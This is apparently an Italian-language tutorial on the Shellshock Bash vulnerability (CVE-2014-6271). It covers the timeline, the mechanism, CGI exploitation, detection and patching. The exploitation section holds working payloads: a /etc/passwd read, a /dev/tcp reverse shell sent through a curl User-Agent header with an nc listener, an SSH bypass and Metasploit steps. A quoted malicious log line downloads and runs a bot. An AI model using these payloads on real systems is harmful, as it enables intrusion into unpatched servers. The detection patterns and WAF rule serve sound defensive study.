Variabile Env → Definizione di funzione → [QUI ESEGUE CODICE EXTRA] ← BUG

12 Set 2014 ──── Stéphane Chazelas scopre il bug e lo segnala a Chet Ramey (manutentore di Bash)
                 Il bug esisteva in Bash da oltre 20 anni.

24 Set 2014 ──── Divulgazione pubblica + pubblicazione della patch (CVE-2014-6271)
                 Ore dopo: botnet attive che scansionano Internet massivamente.

25-30 Set 2014 ── Scoperte vulnerabilità correlate:
                 CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
                 CVE-2014-7186, CVE-2014-7187

Ott 2014 ──────── Milioni di attacchi registrati. Paragonato per gravità a Heartbleed.

# Variabile d'ambiente malevola:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'

# Bash vulnerabile all'inizializzazione:
# 1. Legge la definizione di funzione  → OK
# 2. Trova }; → dovrebbe fermarsi
# 3. CONTINUA → esegue /bin/cat /etc/passwd  ← BUG

Attaccante                    Server Apache (CGI)              Bash (vulnerabile)
   │                               │                                │
   │  Richiesta HTTP               │                                │
   │  User-Agent: () { :;}; cmd    │                                │
   │──────────────────────────────▶│                                │
   │                               │  Converte header in env vars  │
   │                               │  HTTP_USER_AGENT=() { :;}; cmd │
   │                               │───────────────────────────────▶│
   │                               │                                │ Esegue cmd
   │                               │                                │ come www-data
   │◀──────────────────────────────│◀───────────────────────────────│
   │  Risposta + output del cmd    │                                │

env x='() { :;}; echo VULNERABILE' bash -c "echo questo è un test"

VULNERABILE
questo è un test

questo è un test

Header interessati: User-Agent, Referer, Cookie, X-Forwarded-For, e qualsiasi header personalizzato

# Se il server ha ForceCommand configurato, un attaccante con chiave valida può bypassarlo
ssh user@target '() { :;}; /bin/bash'

# Qualsiasi processo che erediti variabili d'ambiente ed esegua Bash
env VAR='() { :;}; comando_malevolo' bash -c "script_legittimo"

nc -lvnp 4444

# Payload da iniettare nell'User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATTACCANTE/4444 0>&1

curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
     http://sito-vulnerabile.com/cgi-bin/test.cgi

Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run

# Cercare il pattern caratteristico in access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log

# Esempio di log malevolo:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"

# Processi figli di www-data/apache che non dovrebbero esistere
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED

- Nuovi file eseguibili in /tmp, /var/tmp, /dev/shm
- Connessioni in uscita dal server web verso IP sconosciuti
- Modifica di /etc/crontab o /etc/passwd
- Processi bash in esecuzione come www-data senza terminale

# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash

# RHEL / CentOS / Fedora
sudo yum update bash

# Verificare la versione patchata (deve mostrare "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → VULNERABILE
# GNU bash, version 4.3.33(1)-release → PATCHATO (varia per distribuzione)

# Deve restituire solo "questo è un test" — MAI "VULNERABILE"
env x='() { :;}; echo VULNERABILE' bash -c "echo questo è un test"

# 1. Disabilitare CGI se non necessario
a2dismod cgi

# 2. Regola WAF per bloccare il pattern
# In ModSecurity:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Tentativo Shellshock'"

# 3. Monitoraggio continuo dei log
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"